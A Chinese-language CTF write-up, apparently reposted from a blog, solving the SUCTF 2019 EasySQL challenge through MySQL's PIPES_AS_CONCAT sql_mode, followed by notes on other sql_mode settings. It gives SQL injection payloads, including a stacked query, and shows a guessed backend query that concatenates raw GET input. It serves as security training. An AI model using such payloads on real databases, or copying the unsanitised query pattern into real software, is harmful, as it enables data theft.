[SUCTF 2019]EasySQL1 及sql_mode


(我被虐到了,嗚嗚嗚)
當 sql_mode 設置了  PIPES_AS_CONCAT 時,|| 就是字符串連接符,相當於CONCAT() 函數

當 sql_mode 沒有設置  PIPES_AS_CONCAT 時 (默認沒有設置),|| 就是邏輯或,相當於OR函數  

聽說有大佬就三個字母就解決了,我枯了,payload:*,1,聽說是直接猜出了源碼select $_GET['query'] || flag from flag
這種方式拼接出來那就是select *,1||flag from Flag
聽說是因為1和任意字符串或數字使用 ||連接 的值都為1

當然還有一種解法,那是官方的解法: 1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
|| 相當於是將 select 1 和 select flag from flag 的結果拼在一起

sql_mode : 它定義了 MySQL 應支持的 SQL 語法,以及應該在數據上執行何種確認檢查,其中的PIPES_AS_CONCAT將 ||視為字符串的連接操作符而非 “或” 運算符  

參考文章:https://blog.csdn.net/qq45552960/article/details/104185620?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase&depth1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase

關於MYSQL的sql_mode解析與設置

ONLY_ FULL_ GROUP_B:如果在SELECT中的列,沒有在GROUP BY中出現,那么將 認為這個SQL是不合法的,因為列不在GROUP BY從句中,因為這個設置的存在,我們對於group by的用法只能是類似於select * from users group by id ;並且只能展示group by的字段,要是帶有其他字段便會報錯。
對這種狀態進行修改:

set sql_mode=(select replace  (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用該語句來將空格替換掉only_full_group_by

STRICTTRANSTABLES:在該模式下,如果一個值不能插入到一個事務表中,則中斷當前的操作,對非事務表不做任何限制。

NOZERODATE:在嚴格模式,不要將 '0000-00-00'做為合法日期。你仍然可以用IGNORE選項插入零日期。在非嚴格模式,可以接受該日期,但會生成警告。

ERRORFORDIVISIONBYZERO:在嚴格模式,在INSERT或UPDATE過程中,如果被零除(或MOD(X,0)),則產生錯誤(否則為警告)。如果未給出該模式,被零除時MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作結果為NULL。

NOAUTOCREATE_USER:防止GRANT自動創建新用戶,除非還指定了密碼。

ANSIQUOTES:啟用ANSIQUOTES后,不能用雙引號來引用字符串,因為它被解釋為識別符。

PIPESASCONCAT:將"||"視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣是,也和字符串的拼接函數Concat想類似。

太晚了,不搞了qaq,感覺學海無涯啊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM